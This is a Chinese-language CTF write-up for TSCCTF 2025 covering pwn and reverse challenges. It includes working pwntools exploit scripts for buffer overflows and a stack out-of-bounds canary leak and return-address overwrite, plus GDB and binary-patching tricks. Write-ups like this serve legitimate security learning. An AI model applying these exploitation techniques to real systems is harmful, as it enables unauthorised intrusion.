文章

TSCCTF 2025

原本打算一鼓作氣做完了,結果魔物獵人荒野發售了...

TSCCTF 2025

一樣是一月的比賽,但我已今非昔比,hr 已經快100了

information

Ranking: 33rd / 509

rank

偷補證明 cert


窗戶麵包

用 ghidra 反編譯後看到原始碼:

1
2
3
4
5
6
7
8
9
10
11
12
13
int __cdecl main(int _Argc,char **_Argv,char **_Env)
{
  FILE *_File;
  undefined local_38 [48];
  
  __main();
  _File = (FILE *)__acrt_iob_func(1);
  setvbuf(_File,(char *)0x0,4,0);
  printf("Something important: %p\n",main);
  puts("Can you get the flag?");
  _read(0,local_38,0x100);
  return 0;
}

目標函式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
void magic(char *param_1,int param_2,char *param_3)
{
  int iVar1;
  
  iVar1 = strcmp(param_1,"B33F50UP");
  if (iVar1 == 0) {
    if (param_2 == 0x539) {
      iVar1 = strcmp(param_3,"open_sesame");
      if (iVar1 == 0) {
        puts("All parameters are correct. Opening shell...");
        WinExec("cmd.exe",0);
      }
      else {
        puts("Parameter 3 is incorrect!");
      }
    }
    else {
      puts("Parameter 2 is incorrect!");
    }
  }
  else {
    puts("Parameter 1 is incorrect!");
  }
  return;
}

透過它提供的 main 的 address算出base

1
int(r.recv(16).decode(), 16) - main

BOF 後 retrun後直接到開 cmd.exe 的地方

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
                             LAB_1400014ad                                   XREF[1]:     14000149a(j)  
       1400014ad 48 8d 05        LEA        RAX,[s_All_parameters_are_correct._Open_140004   = "All parameters are correct. O
                 b4 2b 00 00
       1400014b4 48 89 c1        MOV        param_1=>s_All_parameters_are_correct._Open_14   = "All parameters are correct. O
       1400014b7 e8 54 13        CALL       puts                                             int puts(char * _Str)
                 00 00
       1400014bc ba 00 00        MOV        param_2,0x0
                 00 00
       1400014c1 48 8d 05        LEA        RAX,[s_cmd.exe_140004095]                        = "cmd.exe"
                 cd 2b 00 00
       1400014c8 48 89 c1        MOV        param_1,RAX
       1400014cb 48 8b 05        MOV        RAX,qword ptr [->KERNEL32.DLL::WinExec]          = 000084b2
                 ce 6d 00 00
       1400014d2 ff d0           CALL       RAX=>KERNEL32.DLL::WinExec
       1400014d4 90              NOP

進去後 type flag

1
type flag.txt

其實我當初不知道得到 shell 後要幹嘛,最後是開 ticket 後 pwn2oown 大大好心告訴我的 🙏

腳本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

r = remote("172.31.0.3", 56001)
r.encoding ='cp437'
r.recvuntil(b": ")

tar = 0x1400014ad
main = 0x1400014db
addr = int(r.recv(16).decode(), 16) - main + tar

payload = b'A' * 0x30 + b'B' * 8 + p64(addr)

r.recvuntil(b'Can you get the flag?')
r.sendline(payload)

r.interactive()

Chill Checker

用 ghidra 反編譯後看到原始碼:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
undefined8 main(void)
{
  char translated;
  int iVar1;
  undefined8 local_48 [4];
  char input [20];
  undefined4 local_14;
  int i;
  int local_c;
  
  local_14 = 0xdeadbeef;
  for (local_c = 0; local_c < 0x14; local_c = local_c + 1) {
    *(undefined *)((long)local_48 + (long)local_c) = 0;
  }
  local_48[0] = 0x57484959495a4753;
  printf("Whisper your code: ");
  __isoc99_scanf(&DAT_001020e4,input);
  for (i = 0; i < 8; i = i + 1) {
    translated = complex_function((int)input[i],i + 8);
    input[i] = translated;
  }
  iVar1 = strcmp(input,(char *)local_48);
  if (iVar1 == 0) {
    puts("Man, you\'re really on fire!");
    generate_flag(input);
  }
  else {
    random_failure_message();
  }
  return 0;
}

int complex_function(int param_1,int param_2)
{
  if ((0x40 < param_1) && (param_1 < 0x5b)) {
    return (param_1 + -0x41 + param_2 * 0x1f) % 0x1a + 0x41;
  }
  puts("Go to reverse, please.");
                    /* WARNING: Subroutine does not return */
  exit(1);
}

發現他會對輸入做處理後和 local_48strcmp(),用 GDB 將 input 改成 local_48 一樣的字串。

1
2
3
4
5
pwndbg> x/s $rbp - 0x40
0x7fffffffda90: "SGZIYIHW"
pwndbg> set {char[9]} ($rbp - 0x20) = "SGZIYIHW"
pwndbg> x/s $rbp - 0x20
0x7fffffffdab0: "SGZIYIHW"

之後繼續執行,取得 flag 。

gamble_bad_bad

source code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#include <string.h>
#include <iostream>
#include <stdio.h>

using namespace std;

void jackpot() {
   char flag[50];
   FILE *f = fopen("/home/gamble/flag.txt", "r");
   if (f == NULL) {
      printf("錯誤:找不到 flag 檔案\n");
      return;
   }

   fgets(flag, 50, f);
   fclose(f);
   printf("恭喜你中了 777 大獎!\n");
   printf("Flag 是:%s", flag);
}

  

struct GameState {
   char buffer[20];
   char jackpot_value[4];
} game;

  

void spin() {
   strcpy(game.jackpot_value, "6A6");
   printf("輸入你的投注金額:");
   gets(game.buffer);  

   printf("這次的結果為:%s\n", game.jackpot_value);
 
   if (strcmp(game.jackpot_value, "777") == 0) {
       jackpot();
   } else {
       printf("很遺憾,你沒中獎,再試一次吧!\n");
   }
}

  

int main() {
   setvbuf(stdout, NULL, _IONBF, 0);
   setvbuf(stdin, NULL, _IONBF, 0);
   printf("歡迎來到拉霸機!試著獲得 777 大獎吧!\n");
   spin();
   return 0;
}

把輸入超過 buffer 長度的值覆蓋到 jackpot_value

1
2
python -c "print('a' * 20 +'777')"
aaaaaaaaaaaaaaaaaaaa777

Gateway to the Reverse

用 ghidra 反編譯後看到原始碼:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
undefined8 mainFunc(void)
{
  int iVar1;
  undefined4 local_118;
  undefined4 uStack_114;
  undefined4 uStack_110;
  undefined4 uStack_10c;
  undefined3 uStack_108;
  undefined4 uStack_105;
  undefined4 uStack_101;
  undefined4 uStack_fd;
  char input [112];
  char key [120];
  
  local_118 = 0x723d4c4e;
  uStack_114 = 0x662b656a;
  uStack_110 = 0x56652653;
  uStack_10c = 0x64522150;
  uStack_108 = 0x3d7f4b;
  uStack_105 = 0x797b3b65;
  uStack_101 = 0x34474336;
  uStack_fd = 0x666941;
  puts("=============================================");
  puts("You stand before the Gate of the Reverse World.");
  puts("A voice echoes from the darkness:\n");
  puts("  \"Beyond this gate lies the Reverse World, a realm");
  puts("   of infinite knowledge and untold secrets.");
  puts("   But only those who can decipher the key may enter.\"\n");
  puts("The gatekeeper continues:");
  puts("  \"Reveal today\'s lucky number, and the gate shall open.\"");
  puts("=============================================");
  printf("\nEnter the access key: ");
  __isoc99_scanf(&DAT_0010237c,input);
  FUN_001013d0(&local_118,key);
  iVar1 = strcmp(input,key);
  if (iVar1 == 0) {
    puts("  +===========================+");
    puts("  ||                         ||");
    puts("  ||       [  OPENED ]       ||");
    puts("  ||                         ||");
    puts("  ||   The gate creaks open, ||");
    puts("  ||   revealing a passage   ||");
    puts("  ||     to the unknown.     ||");
    puts("  +===========================+");
    puts("       || /         \\\\   ||");
    puts("       ||/           \\\\  ||");
    puts("       |/             \\\\ ||");
    puts("       /               \\\\||");
    puts("      /                 \\\\");
    puts("     /                   \\");
    puts("The gatekeeper smiles faintly: \"You are worthy. Step forward.\"");
  }
  else {
    puts("  +===========================+");
    puts("  ||                         ||");
    puts("  ||      [  LOCKED  ]       ||");
    puts("  ||                         ||");
    puts("  ||   The gate remains      ||");
    puts("  ||       firmly shut.      ||");
    puts("  ||                         ||");
    puts("  +===========================+");
    puts("       ||             ||");
    puts("       ||             ||");
    puts("       ||             ||");
    puts("       ||             ||");
    puts("       ||             ||");
    puts("       ||             ||");
    puts("The gatekeeper\'s voice booms:");
    puts("  \"Your answer is incorrect. The gate shall remain closed.\"");
    puts("  \"Return when you have deciphered the true key.\"");
  }
  return 0;
}

發現他會對輸入做處理後和 key 做 strcmp(),用 GDB 看 key 的值發現是 flag 。

1
2
FUN_001013d0(&local_118,key);
iVar1 = strcmp(input,key);

發現他主要的加密邏輯是將輸入的字串切成四個一組,之後對各別的字元做 xor

1
2
3
4
5
for (local_110 = 0; local_110 < 4; local_110 = local_110 + 1) {
  bVar1 = Pop(&local_108);
  *(byte *)((long)&local_fc + (long)local_110) = bVar1 ^ ((char)local_110 + '\x01') * '\x10'
  ;
}

最後後重新組合

1
2
3
4
5
6
7
Push(&local_108,(int)local_fc._2_1_);
Push(&local_108,(int)(char)local_fc);
Push(&local_108,(int)local_fc._1_1_);
Push(&local_108,(int)local_fc._3_1_);
for (local_10c = 0; local_10c < 4; local_10c = local_10c + 1) {
  local_108 = *(undefined **)(local_108 + 0x10);
}

用python 做一個一樣的 function

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def encrypt_4_chars(chars):
   """
   加密 4 個字元的邏輯。
   :param chars: 一組 4 個字元 (str)
   :return: 加密後的 4 個字元,重新排列 (list of int)
   """

   if len(chars) != 4:
      raise ValueError("Input must contain exactly 4 characters.")

   encrypted = []

   for i, char in enumerate(chars):
      xor_value = ((i + 1) * 0x10)   # 計算異或值
      encrypted_byte = ord(char) ^ xor_value   # 進行異或運算
      encrypted.append(encrypted_byte)

   # 按指定順序重新排列
   reordered = [ encrypted[3],encrypted[1], encrypted[0], encrypted[2]]
   return reordered

最後寫腳本爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
import itertools
from string import printable
from multiprocessing import Pool
from itertools import product
import string

def encrypt_4_chars(chars):
   """
   加密 4 個字元的邏輯。
   :param chars: 一組 4 個字元 (str)
   :return: 加密後的 4 個字元,重新排列 (list of int)
   """

   if len(chars) != 4:
      raise ValueError("Input must contain exactly 4 characters.")

   encrypted = []

   for i, char in enumerate(chars):
      xor_value = ((i + 1) * 0x10)   # 計算異或值
      encrypted_byte = ord(char) ^ xor_value   # 進行異或運算
      encrypted.append(encrypted_byte)

   # 按指定順序重新排列
   reordered = [ encrypted[3],encrypted[1], encrypted[0], encrypted[2]]
   return reordered  

def brute_force_group(args):
   """
   對單組加密字串進行暴力破解,找出原文。
   :param args: 包含加密目標和字符集 (tuple)
   :return: 原文 (str)
   """
   target, charset = args

   for chars in itertools.product(charset, repeat=4):   # 遍歷所有可能的 4 字元組
      candidate = ''.join(chars)
      if encrypt_4_chars(candidate) == target:   # 驗證是否匹配加密結果
         return candidate
   
   return None   # 若找不到匹配的字串,返回 None

def main():
   # 加密的 11 段目標(十六進位表示)
   encrypted_hex = [
      [0x3b, 0x73, 0x44, 0x73],   # ";sDs"
      [0x1f, 0x10, 0x49, 0x45],   # "\x1f\x10IE"
      [0x1f, 0x72, 0x24, 0x55],   # "\x1fr$U"
      [0x71, 0x7f, 0x71, 0x7c],   # "q\x7fq|"
      [0x24, 0x6b, 0x7e, 0x03],   # "$k~\x03"
      [0x75, 0x6c, 0x4f, 0x79],   # "ulOy"
      [0x21, 0x7f, 0x64, 0x7d],   # "!\x7fd}"
      [0x12, 0x74, 0x63, 0x55],   # "\x12tcU"
      [0x21, 0x60, 0x4f, 0x5b],   # "!`O["
      [0x0d, 0x6c, 0x4f, 0x7c],   # "\rlO|"
      [0x3d, 0x5e, 0x6e, 0x4e],   # "=^nN"
   ]

   charset = string.ascii_letters + string.digits + string.punctuation   # 定義可能的輸入字元集
   # 準備平行運算
   with Pool() as pool:
      results = pool.map(brute_force_group, [(target, charset) for target in encrypted_hex])

   # 輸出結果
	flag = ""
   for i, result in enumerate(results):
      if result:
         print(f"破解第 {i+1} 段成功: {result}")
         flag += result
      else:
         print(f"破解第 {i+1} 段失敗")

   print(flag)

if __name__ == "__main__":

   main()

Localstack

保護機制:

1
2
3
4
5
6
7
8
9
10
checksec chal/share/localstack

    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

用 ghidra 反編譯後看到原始碼:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
undefined8 main(void)
{
  uint64_t *puVar1;
  int iVar2;
  long in_FS_OFFSET;
  uint64_t local_108;
  long local_100;
  uint64_t stack [20];
  char local_58 [32];
  char command [40];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  setvbuf(stdin,(char *)0x0,2,0);
  setvbuf(stdout,(char *)0x0,2,0);
  local_100 = -1;
  puts("Commands: \'push <value>\', \'pop\', \'show\', \'help\', or \'exit\'");
  while( true ) {
    while( true ) {
      while( true ) {
        while( true ) {
          printf(">> ");
          fgets(local_58,0x19,stdin);
          __isoc99_sscanf(local_58,&DAT_00102015,command);
          iVar2 = strcmp(command,"push");
          if (iVar2 != 0) break;
          iVar2 = __isoc99_sscanf(local_58,"%*s %ld",&local_108);
          if (iVar2 == 1) {
            local_100 = local_100 + 1;
            stack[local_100] = local_108;
            printf("Pushed %ld to stack\n",local_108);
          }
          else {
            puts("Invalid push.");
          }
        }
        iVar2 = strcmp(command,"pop");
        if (iVar2 != 0) break;
        puVar1 = stack + local_100;
        local_100 = local_100 + -1;
        printf("Popped %ld from stack\n",*puVar1);
      }
      iVar2 = strcmp(command,"show");
      if (iVar2 != 0) break;
      printf("Stack top: %ld\n",stack[local_100]);
    }
    iVar2 = strcmp(command,"exit");
    if (iVar2 == 0) break;
    iVar2 = strcmp(command,"help");
    if (iVar2 == 0) {
      puts("Commands: \'push <value>\', \'pop\', \'show\', \'help\', or \'exit\'");
    }
    else {
      printf("Unknown command: %s\n",command);
    }
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

poppush 會越界存取,在 rsp - 0x8 發現 main+462 的 address

1
2
pwndbg> x/a ($rsp - 0x8)
0x7ffdb8d56808: 0x56181b5674ef <main+443>

那個address 在 pop 2次的位置,扣掉 offset 後可以拿到 PIE base

1
2
3
4
5
6
7
8
9
10
for _ in range(2):
	tar.recvuntil(b">> ")
	tar.sendline(b"pop")

tar.recvuntil(b">> ")
tar.sendline(b"show")
tar.recvuntil(b": ")

addr = int(tar.recvline(keepends=False).decode('utf-8')) # addr of main+443
base = addr - 0x000014ef

之後加上 print_flag 的 offset,算出print_flag 的實際 address

1
pring_flag = base + 0x00001289

rsp + 0xf8 發現 canary

1
2
pwndbg> x/x ($rsp + 0xf8)
0x7ffdb8d56908: 0x744ecef040ea3c00

算上剛剛 pop 的次數,再 pop 26次就可以拿到 canary

1
2
3
4
5
6
7
8
9
for _ in range(26):
	tar.recvuntil(b">> ")
	tar.sendline(b"pop")

tar.recvuntil(b">> ")
tar.sendline(b"show")
tar.recvuntil(b": ")

canary = tar.recvline(keepends=False)

之後 push 回原位,第28次 push stack 的 index

1
2
3
4
5
6
for _ in range(27):
	tar.recvuntil(b">> ")
	tar.sendline(b"push 0")

tar.recvuntil(b">> ")
tar.sendline(b"push -1")

之後 pushcanary 前,之後依序 push canary, old rbp 和 print_flag的 address,最後輸入 exit 後獲得 flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
for _ in range(29):
	tar.recvuntil(b">> ")
	tar.sendline(b"push 0")

tar.recvuntil(b">> ")
tar.sendline(b"push " + canary)

tar.recvuntil(b">> ")
tar.sendline(b"push 0")

tar.recvuntil(b">> ")
tar.sendline(b"push " + str(pring_flag).encode())

tar.interactive()

Remote 的 canary 位置和本地不太一樣,經過測試後發現再多 pop 兩次就好。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import *

# context.binary='./chal/share/localstack'

# ; var int64_t var_f8h @ rbp-0xf8 stack conunter
# ; var int64_t var_f0h @ rbp-0xf0 stack base

# not stable QQ

def do_pwn(tar: process,t):
    for _ in range(2):
        tar.recvuntil(b">> ")
        tar.sendline(b"pop")
        
    tar.recvuntil(b">> ")
    tar.sendline(b"show")
    tar.recvuntil(b": ")
    addr = int(tar.recvline(keepends=False).decode('utf-8')) # addr of main+443
    base = addr - 0x000014ef
    pring_flag = base + 0x00001289
    
    for _ in range(t-2):
        tar.recvuntil(b">> ")
        tar.sendline(b"pop")
        
    tar.recvuntil(b">> ")
    tar.sendline(b"show")
    tar.recvuntil(b": ")
    canary = tar.recvline(keepends=False)
    
    
    # reset stack
    for _ in range(t-1):
        tar.recvuntil(b">> ")
        tar.sendline(b"push 0")
        
    tar.recvuntil(b">> ")
    tar.sendline(b"push -1")
    
    for _ in range(29):
        tar.recvuntil(b">> ")
        tar.sendline(b"push 0")
    tar.recvuntil(b">> ")
    tar.sendline(b"push " + canary)
    
    tar.recvuntil(b">> ")
    tar.sendline(b"push 0")
    
    tar.recvuntil(b">> ")
    tar.sendline(b"push " + str(pring_flag).encode())
    
    tar.interactive()
    # do exit
    tar.close()
    
def pwn_test(tar: remote):
    for _ in range(30):
        tar.recvuntil(b">> ")
        tar.sendline(b"pop")
    tar.recvuntil(b">> ")
    tar.sendline(b"show")
    tar.recvuntil(b": ")
    canary = tar.recvline(keepends=False)
    print(hex(int(canary.decode('utf-8'))))
    tar.close()
      
# do_pwn(process('/home/kali/CTF/pwn/Localstack/chal/share/localstack'), t=28)
do_pwn(remote('172.31.1.2', 11100), t=30)

Meoware

用 ghidra 反編譯後看到原始碼:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
undefined8 main(void)
{
  bool bVar1;
  int iVar2;
  time_t tVar3;
  ulong uVar4;
  basic_string *pbVar5;
  char *pcVar6;
  basic_string local_1f8 [32];
  undefined4 local_1d8;
  undefined4 local_1d4;
  undefined4 local_1d0;
  undefined4 local_1cc;
  undefined4 local_1c8;
  undefined4 local_1c4;
  undefined4 local_1c0;
  undefined4 local_1bc;
  undefined4 local_1b8;
  undefined4 local_1b4;
  undefined4 local_1b0;
  undefined4 local_1ac;
  undefined4 local_1a8;
  undefined4 auStack_1a4 [3];
  undefined8 local_198;
  undefined8 local_190;
  vector<> local_188 [32];
  vector<> local_168 [32];
  basic_string<> local_148 [47];
  allocator local_119;
  basic_string<> local_118 [47];
  allocator local_e9;
  basic_string<> local_e8 [47];
  allocator local_b9;
  duration<> local_b8 [8];
  int local_b0;
  byte local_ab;
  byte local_aa;
  byte local_a9;
  allocator *local_a8;
  allocator *local_a0;
  allocator *local_98;
  int local_90;
  char local_89;
  vector<> *local_88;
  undefined4 local_7c;
  undefined4 *local_78;
  undefined4 *local_70;
  undefined4 local_64;
  undefined4 *local_60;
  undefined4 *local_58;
  undefined4 local_4c;
  undefined4 *local_48;
  undefined4 *local_40;
  long local_38;
  undefined4 *local_30;
  undefined4 *local_28;
  undefined4 *local_20;
  
  std::vector<>::vector();
  local_98 = &local_119;
                    /* try { // try from 001025d2 to 001025d6 has its CatchHandler @ 00102bd8 */
  std::__cxx11::basic_string<>::basic_string<>(local_148,"meow1.jpeg",&local_119);
                    /* try { // try from 001025eb to 001025ef has its CatchHandler @ 00102bc4 */
  std::vector<>::push_back(local_168,(basic_string *)local_148);
  std::__cxx11::basic_string<>::~basic_string(local_148);
  std::__new_allocator<char>::~__new_allocator((__new_allocator<char> *)&local_119);
  local_a0 = &local_e9;
                    /* try { // try from 0010263a to 0010263e has its CatchHandler @ 00102c04 */
  std::__cxx11::basic_string<>::basic_string<>(local_118,"meow2.jpeg",&local_e9);
                    /* try { // try from 00102653 to 00102657 has its CatchHandler @ 00102bf0 */
  std::vector<>::push_back(local_168,(basic_string *)local_118);
  std::__cxx11::basic_string<>::~basic_string(local_118);
  std::__new_allocator<char>::~__new_allocator((__new_allocator<char> *)&local_e9);
  local_a8 = &local_b9;
                    /* try { // try from 001026a2 to 001026a6 has its CatchHandler @ 00102c2d */
  std::__cxx11::basic_string<>::basic_string<>(local_e8,"mouse.jpeg",&local_b9);
                    /* try { // try from 001026bb to 001026bf has its CatchHandler @ 00102c19 */
  std::vector<>::push_back(local_168,(basic_string *)local_e8);
  std::__cxx11::basic_string<>::~basic_string(local_e8);
  std::__new_allocator<char>::~__new_allocator((__new_allocator<char> *)&local_b9);
  tVar3 = time((time_t *)0x0);
  srand((uint)tVar3);
  while( true ) {
    iVar2 = rand();
    if (iVar2 == 0) break;
    iVar2 = rand();
    uVar4 = std::vector<>::size();
    local_90 = (int)((ulong)(long)iVar2 % uVar4);
    std::vector<>::operator[](local_168,(long)local_90);
                    /* try { // try from 00102751 to 00102755 has its CatchHandler @ 00102c7e */
    std::__cxx11::basic_string<>::basic_string(local_1f8);
                    /* try { // try from 00102771 to 00102775 has its CatchHandler @ 00102c56 */
    std::operator+((char *)&local_1d8,(basic_string *)"open ");
    pcVar6 = (char *)std::__cxx11::basic_string<>::c_str();
                    /* try { // try from 00102788 to 001027be has its CatchHandler @ 00102c42 */
    system(pcVar6);
    local_b0 = 2;
    std::chrono::duration<>::duration<int,void>(local_b8,&local_b0);
    std::this_thread::sleep_for<>((duration *)local_b8);
    std::__cxx11::basic_string<>::~basic_string((basic_string<> *)&local_1d8);
    std::__cxx11::basic_string<>::~basic_string((basic_string<> *)local_1f8);
  }
  std::vector<>::vector();
  pbVar5 = (basic_string *)std::vector<>::operator[](local_168,0);
                    /* try { // try from 00102815 to 00102b99 has its CatchHandler @ 00102c6a */
  local_38 = calculateFileHash(pbVar5);
  if (local_38 != 0) {
    local_1d8 = 0x87f40c6d;
    local_1d4 = 0x87f40c6a;
    local_1d0 = 0x87f40c7a;
    local_1cc = 0x87f40c42;
    local_1c8 = 0x87f40c7b;
    local_1c4 = 0x87f40c56;
    local_1c0 = 0x87f40c5b;
    local_1bc = 0x87f40c56;
    local_1b8 = 0x87f40c66;
    local_48 = &local_1b4;
    local_40 = &local_1d8;
    for (local_20 = local_40; local_20 != local_48; local_20 = local_20 + 1) {
      local_4c = *local_20;
      local_ab = (byte)local_38 ^ (byte)local_4c;
      std::vector<>::push_back(local_188,(char *)&local_ab);
    }
  }
  pbVar5 = (basic_string *)std::vector<>::operator[](local_168,1);
  local_38 = calculateFileHash(pbVar5);
  if (local_38 != 0) {
    local_1d8 = 0xd48fdb7e;
    local_1d4 = 0xd48fdb7a;
    local_1d0 = 0xd48fdb7f;
    local_1cc = 0xd48fdb78;
    local_1c8 = 0xd48fdb3e;
    local_1c4 = 0xd48fdb67;
    local_1c0 = 0xd48fdb76;
    local_1bc = 0xd48fdb72;
    local_1b8 = 0xd48fdb4c;
    local_60 = &local_1b4;
    local_58 = &local_1d8;
    for (local_28 = local_58; local_28 != local_60; local_28 = local_28 + 1) {
      local_64 = *local_28;
      local_aa = (byte)local_38 ^ (byte)local_64;
      std::vector<>::push_back(local_188,(char *)&local_aa);
    }
  }
  pbVar5 = (basic_string *)std::vector<>::operator[](local_168,2);
  local_38 = calculateFileHash(pbVar5);
  if (local_38 != 0) {
    local_1d8 = 0x58128fca;
    local_1d4 = 0x58128fc4;
    local_1d0 = 0x58128fc9;
    local_1cc = 0x58128fcb;
    local_1c8 = 0x58128fc3;
    local_1c4 = 0x58128f85;
    local_1c0 = 0x58128fcb;
    local_1bc = 0x58128fc9;
    local_1b8 = 0x58128fda;
    local_1b4 = 0x58128fca;
    local_1b0 = 0x58128fc7;
    local_1ac = 0x58128fc6;
    local_1a8 = 0x58128fd5;
    local_78 = auStack_1a4;
    local_70 = &local_1d8;
    for (local_30 = local_70; local_30 != local_78; local_30 = local_30 + 1) {
      local_7c = *local_30;
      local_a9 = (byte)local_38 ^ (byte)local_7c;
      std::vector<>::push_back(local_188,(char *)&local_a9);
    }
  }
  std::operator<<((basic_ostream *)std::cout,"flag is:");
  local_88 = local_188;
  local_190 = std::vector<>::begin();
  local_198 = std::vector<>::end();
  while( true ) {
    bVar1 = __gnu_cxx::operator!=((__normal_iterator *)&local_190,(__normal_iterator *)&local_198);
    if (!bVar1) break;
    pcVar6 = (char *)__gnu_cxx::__normal_iterator<>::operator*((__normal_iterator<> *)&local_190);
    local_89 = *pcVar6;
    std::operator<<((basic_ostream *)std::cout,local_89);
    __gnu_cxx::__normal_iterator<>::operator++((__normal_iterator<> *)&local_190);
  }
  std::operator<<((basic_ostream *)std::cout,'\n');
  std::vector<>::~vector(local_188);
  std::vector<>::~vector(local_168);
  return 0;
}

發現無窮迴圈的 break 條件

1
2
3
4
5
while( true ) {
    iVar2 = rand();
    if (iVar2 == 0) break;
    ...
}

jne patch 成 je

1
2
3
4
objdump -d meoware | grep 27e9
    27e9:       0f 85 06 ff ff ff       jne    26f5 <main+0x169>
objdump -d test1 | grep 27e9
    27e9:       0f 84 06 ff ff ff       je     26f5 <main+0x169>

執行 patch完的檔案得到 flag。

What_Happened

用 ghidra 反編譯後看到原始碼:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void UndefinedFunction_004014af(void)

{
  byte abStack_46 [50];
  size_t sStack_14;
  int iStack_10;
  
  sStack_14 = _strlen(&_flag_encrypted);
  for (iStack_10 = 0; iStack_10 < (int)sStack_14; iStack_10 = iStack_10 + 1) {
    abStack_46[iStack_10] = (&_flag_encrypted)[iStack_10] ^ 0xaa;
  }
  abStack_46[sStack_14] = 0;
  _printf("Decrypted Flag: %s\n",abStack_46);
  return;
}

其中 _flag_encrypted 的資料是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
                             .rdata                                          XREF[4]:     004014b5(*), 004014d0(*), 
                             _flag_encrypted                                               004014d5(*), _main:00401522(*)  
        00405064 fe              ??         FEh
        00405065 f9              ??         F9h
        00405066 e9              ??         E9h
        00405067 d1              ??         D1h
        00405068 e3              ??         E3h
        00405069 f5              ??         F5h
        0040506a fe              ??         FEh
        0040506b c2              ??         C2h
        0040506c c3              ??         C3h
        0040506d c4              ??         C4h
        0040506e c1              ??         C1h
        0040506f f5              ??         F5h
        00405070 d3              ??         D3h
        00405071 c5              ??         C5h
        00405072 df              ??         DFh
        00405073 f5              ??         F5h
        00405074 ec              ??         ECh
        00405075 c3              ??         C3h
        00405076 d2              ??         D2h
        00405077 f5              ??         F5h
        00405078 98              ??         98h
        00405079 c5              ??         C5h
        0040507a c7              ??         C7h
        0040507b cf              ??         CFh
        0040507c f5              ??         F5h
        0040507d 99              ??         99h
        0040507e d8              ??         D8h
        0040507f d8              ??         D8h
        00405080 c5              ??         C5h
        00405081 d8              ??         D8h
        00405082 d7              ??         D7h

複製成 python Byte string 後,拿去做 xor:

1
2
3
4
5
flag_encrypted = b'\xfe\xf9\xe9\xd1\xe3\xf5\xfe\xc2\xc3\xc4\xc1\xf5\xd3\xc5\xdf\xf5\xec\xc3\xd2\xf5\x98\xc5\xc7\xcf\xf5\x99\xd8\xd8\xc5\xd8\xd7'

flag = bytes([byte ^ 0xAA for byte in flag_encrypted])

print(flag.decode())
本文章以 CC BY 4.0 授權

熱門標籤